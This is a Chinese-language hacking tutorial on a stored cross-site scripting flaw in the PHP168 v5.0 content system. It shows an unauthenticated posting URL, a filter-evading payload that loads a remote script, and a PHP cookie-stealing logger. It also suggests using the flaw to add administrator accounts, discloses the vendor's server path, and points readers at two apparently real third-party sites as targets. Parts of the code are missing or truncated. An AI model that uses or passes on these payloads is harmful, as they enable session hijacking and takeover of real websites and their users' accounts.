專業(yè)解讀PHP168 XSS跨站及利用
(一)軟件測試環(huán)境以及搭建
測試環(huán)境:本地 XAMPP 1.7.1
測試軟件:PHP168整站v5.0
軟件下載地址 http://down2.php168.com/v2008.rar
PHP.ini 配置: magic_quotes_gpc Off(On或者Off對持久型XSS并無沒影響) ;register_globals Off ;safe_mode Off ;
(二)XSS跨站基礎(chǔ)
1、XSS攻擊定義
XSS又叫CSS (Cross Site Script) ,簡稱跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意用戶的特殊目的。XSS屬于被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性,實際很多系統(tǒng)都存在XSS漏洞,本文中主要是研究PHP168整站系統(tǒng)中的XSS的利用。
2、如何尋找XSS漏洞
就一般而言,XSS攻擊可以分成兩類,一類是來自內(nèi)部的攻擊,主要指的是利用程序自身的漏洞,構(gòu)造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來來自外部的攻擊,主要指的自己構(gòu)造XSS跨站漏洞網(wǎng)頁或者尋找非目標機以外的有跨站漏洞的網(wǎng)頁。如當我們要滲透一個站點,我們自己構(gòu)造一個有跨站漏洞的網(wǎng)頁,然后構(gòu)造跨站語句,通過結(jié)合其它技術(shù),如社會工程學(xué)等,欺騙目標服務(wù)器的管理員打開。
3、如何利用
傳統(tǒng)的跨站利用方式一般都是攻擊者先構(gòu)造一個跨站網(wǎng)頁,然后在另一空間里放一個收集cookie的頁面,接著結(jié)合其它技術(shù)讓用戶打開跨站頁面以盜取用戶的cookie,以便進一步的攻擊。個人認為這種方式太過于落后,對于弊端大家可能都知道,因為即便你收集到了cookie你也未必能進一步滲透進去,多數(shù)的cookie里面的密碼都是經(jīng)過加密的,如果想要cookie欺騙的話,同樣也要受到其它的條件的限約。而本文提出的另一種思路,則從一定程度上解決上述的問題。對于個人而言,比較成熟的方法是通過跨站構(gòu)造一個表單,表單的內(nèi)容則為利用程序的備份功能或者加管理員等功能得到一個高權(quán)限。
(三)XSS跨站利用
1.獲取XSS漏洞地址
XSS又叫CSS 全稱Cross Site Scripting 跨站腳本攻擊。分為持久性,反射型兩種。本文演示的是持久性跨站以及簡單利用。其實都是站在前人的基礎(chǔ)上,感謝那些無私奉獻的牛牛。我們安裝完php168后,不要登陸,直接打開如下URL: http://localhost/php168/member/post.php?job=postnew&fid=2
可以繞過管理員登陸,直接發(fā)表文章,如圖1所示。
圖1繞過驗證直接發(fā)帖
說明:
如果是在實際網(wǎng)絡(luò)上面進行測試,可以使用“php168/member/post.php”作為關(guān)鍵值進行搜索,找到搜索結(jié)果后,對結(jié)果進行查看,如圖2所示,單擊其中的“發(fā)表”鏈接進入發(fā)表頁面。這樣獲取的Fid才是正確的ID,否則得到的ID打不開頁面,如圖3所示。在圖3中的相應(yīng)輸入框中輸入相應(yīng)的測試值,完畢進行發(fā)表,如圖4所示,會給出發(fā)表后的相應(yīng)操作,單擊查看,可以看到剛才發(fā)表的帖子,如圖5所示,整個發(fā)表過程無須審核和登錄。
圖2 搜索獲取php168發(fā)帖地址
圖3 直接發(fā)表帖子
圖4 發(fā)表帖子成功
圖5 查看發(fā)表的帖子
2.測試XSS
在發(fā)表帖子頁面中選擇“源碼”模式,然后在內(nèi)容中加入以下代碼:
然后單擊發(fā)表,我們看看文章地址:http://127.0.0.1/php168/bencandy.php?fid=2&aid=4
邪惡的XSS 出現(xiàn),如圖6所示。
圖6找到邪惡的XSS
3.遠程包含JS文件攻擊
我們遠程包含JS文件來攻擊,代碼如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
這樣直接發(fā)上去是會被過濾掉的,我們轉(zhuǎn)換編碼,對于不會轉(zhuǎn)換編碼的朋友可以到http://ha.ckers.org/xss.html#ipobfuscate去直接轉(zhuǎn)換。
代碼如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
這樣我們就可以直接編輯我們的xss.js文件來吊管理員Cookie了。當然反射型的更多。其執(zhí)行效果如圖7所示。
圖7 XSS讀取效果
4.獲取Cookie
我們編輯js文件如下:
alert(document.cookie);
返回查看,如圖8所示,顯示本地的Cookie值。
圖8 獲取本地Cookie值
當然我們隱藏釣管理員Cookie,并沒測試官方。請大牛試試吧。
5.編寫代碼獲取Cookie或者直接添加管理員
編寫我們的PHP文件,代碼如下:
/*auther:menzhi007 Blog:http://hi.baidu.com/menzhi007 */
$txtfile = "menzhi.php";
$date = date("Y-m-d - H:i:s");
$cookie = $_GET['get'];
$writeinfo = "{$date}\n{$cookie}\n";
$printer = fopen($txtfile, 'a');
fwrite($printer,$writeinfo);
fclose($printer);
?>或者直接添加管理員,代碼如下:
location.;
平時也沒什么時間上網(wǎng),具體大家自己測試吧。官方路徑:D:\p8-server\wwwroot\php168_com\
已通知官方修補漏洞了,不要搞破壞(沒進入官方挺后悔的)。
(四)實例演示
大家打開官方主頁http://www.php168.com/biz/impower.php
商業(yè)授權(quán)查詢,如圖9所示。
圖9 獲取使用php168整站系統(tǒng)的用戶
我們隨便挑幾個,演示站點:
http://www.3cq.org/member/post.php?job=postnew&fid=2
圖10演示站點1
演示站點2:
http://www.ccdv.cc/member/post.php?job=postnew&fid=2
圖11演示站點2
【編輯推薦】